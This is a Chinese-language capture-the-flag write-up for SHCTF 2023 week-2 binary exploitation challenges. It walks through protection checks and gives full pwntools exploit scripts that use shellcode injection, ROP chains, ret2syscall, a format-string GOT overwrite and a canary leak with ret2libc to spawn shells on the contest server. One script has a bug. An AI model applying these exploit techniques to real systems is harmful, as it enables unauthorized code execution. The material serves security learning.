SHCTF 2023 [WEEK 2] PWN

简介:

第二周对比第一周难度提高了些,开始要熟悉做pwn的技巧手法了


easy_shellcode

查看一下保护机制,保护全关,加上又是shellcode的,栈可执行,所以可以把shellcode写入栈里

ida反汇编一下,发现可以通过buf这里泄露出栈地址(因为没有打开NX保护,栈是可执行的,要想办法把shellcode写入栈上在执行)

gdb调试下,你就会发现只需要输入0x10个字节,就可以泄露出栈地址(rbp地址),然后距离栈顶的距离为0x80,可以利用这个地址,将shellcode写入,就可以执行shell了

exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug') 

#p =process('./111')
p =remote('112.6.51.212',30735)

payload =b'A'*0X10

p.recvuntil(b'What\'s your name?\n')
p.send(payload)

p.recvuntil(b'A'*0x10)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x80

shellcode =asm(shellcraft.sh())
payload =shellcode.ljust(0x78,b'\x00')+ p64(stack)

p.recvuntil(b'please input your strong\n')

p.send(payload) 
p.interactive()

baby_rop

查看一下保护机制,32位程序打开了canary 和NX,并且还是静态链接

用ROPgadget --ropchain来获取rop链再缩短点,exp如下:

from pwn import *
from struct import pack
context(os='linux', arch='i386', log_level='debug') 
 
#io =process('./simplerop32')
io =remote('112.6.51.212',30779)
elf =ELF('./111')
 
# Padding goes here
p = b''
 
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e84) # @ .data + 4
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
 
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x0804993f) # pop ecx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
 
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += p32(11)
p += pack('<I', 0x08049b62) # int 0x80
 
io =b'a'*0x20 + p

io.send(payload)
io.interactive()

还可以用ret2sycall的方法来解决,exp如下:

from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug') 
 
#p =process('./111')
p =remote('112.6.51.212',30984)
elf =ELF('./111')
 

read =0x805CAF0
edx_ecx_ebx =0x8049941
eax =0x80aa06a
int_80 =0x8049b62
bss =0x80e5000   #整百就行

payload =b'A'*(0x1c +4) 
payload +=p32(read) 
payload +=p32(edx_ecx_ebx) +p32(0) +p32(bss) +p32(0x8) 
payload +=p32(edx_ecx_ebx) +p32(0) +p32(0) +p32(bss) 
payload +=p32(eax) +p32(11) 
payload +=p32(int_80)

p.send(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

baby_rop2

查看一下保护机制,64位程序打开canary和NX,并且还是静态链接程序,和上一次挺像的

ida反汇编一下,简简单单的一个栈溢出漏洞,唯一烦的就是该怎么构造rop执行流

一样可以用ROPgadget来构造rop执行流,唯一不好的地方就是有长度限制,需要自己删减

from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug') 
 
#io =process('./111')
io =remote('112.6.51.212',30992)
elf =ELF('./111')
 
# Padding goes here
p = b''
 
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000401243) # syscall

payload =b'a'*0x28 + p

io.send(payload)
io.interactive()

string

查看一下保护机制,保护全关

ida反汇编一下,代码审计你会发现出现了格式字符串漏洞,并且在提示 "Input your message:" 的时候,你输入的数据会被 printf 打印出来,这个时候是不是可以把/bin/sh写进去,然后把 printf 修改成 system ,这样是不是就可以获得shell了,前提就得先泄露libc,得到system

首先,先得到程序的偏移为6,然后就是去gdb调试,找到合适的地址去泄露libc

我算到的偏移是0x29d90,不是0x24083,啊啊啊啊怎么算到的啊(有没有师傅浇浇啊T^T)

有些东西不好理解,也不知道怎么来的,其他大佬的wp,都是默认大家都知道,都不解释的,学的好累啊啊啊啊 T^T ,exp如下:

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

#p = process('./pwn')
p = remote('112.6.51.212',31318)
elf = ELF('./111')
libc = ELF('./libc.so.6')
 
printf_got = elf.got['printf']

payload =b'%43$p'

p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)

libc_base =int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main']   #0x24083
system = libc_base +libc.sym['system'] 

payload =fmtstr_payload(6, {printf_got: system})

p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)

p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
p.sendlineafter(b"Input your choice:\n", b'1')
 
p.interactive()

原始人,起动

查看一下保护机制,只打开了NX

ida反汇编,代码审计一下,有点难理清里面的逻辑-_-,有点小绕啊啊啊啊,受不了


要买些东西吗

查看一下保护机制,32位程序打开了canary和NX

ida反汇编,代码审计发现程序出现了格式字符串漏洞,再加上有canary,所以应该是通过格式字符串来泄露canary,下面看看偏移是多少

运行程序,发现偏移为7,接下来就是gdb调试,去看看canary是第几个参数(如下图,发现canary在第15个参数),并且可以通过第19个参数来泄露libc,来构造rop链

泄露libc的这个偏移还是没有算到,啊啊啊啊,有知道的师傅浇浇(球球了T^T)

exp如下:

from pwn import *
context(os="linux", arch="i386", log_level="debug")

#p = process('./111')
p = remote('112.6.51.212',31224)
elf = ELF('./111')
libc = ELF('./libc.so.6')
 
ret =0x804900e
bin_sh =0x804A03F
 
payload =b'%15$p.%19$p'

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b'and you can get a gift\n',payload)
 
canary = int(p.recv(10), 16)
p.recvuntil(b'0x')
libc_base =int(p.recv(8), 16) - 245 - libc.sym['__libc_start_main']   #0x1aee5


system =libc_base +libc.sym['system']
#bin_sh =libc_base + next(libc.search(b'/bin/sh\x00'))

payload =b'A'*0x20 +p32(canary) +p32(0) +p32(0) +p32(0) +p32(ret) +p32(system) +p32(0) +p32(bin_sh)

p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n",payload)
 
p.interactive()

总结:

        这周题目确实上档次了,有些东西不是很好理解,其他佬的WP也没有详细的解释,都默认是常识,弄得我云里雾里,还得多做题目,自己总结,加油加油!!!

  • 11
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值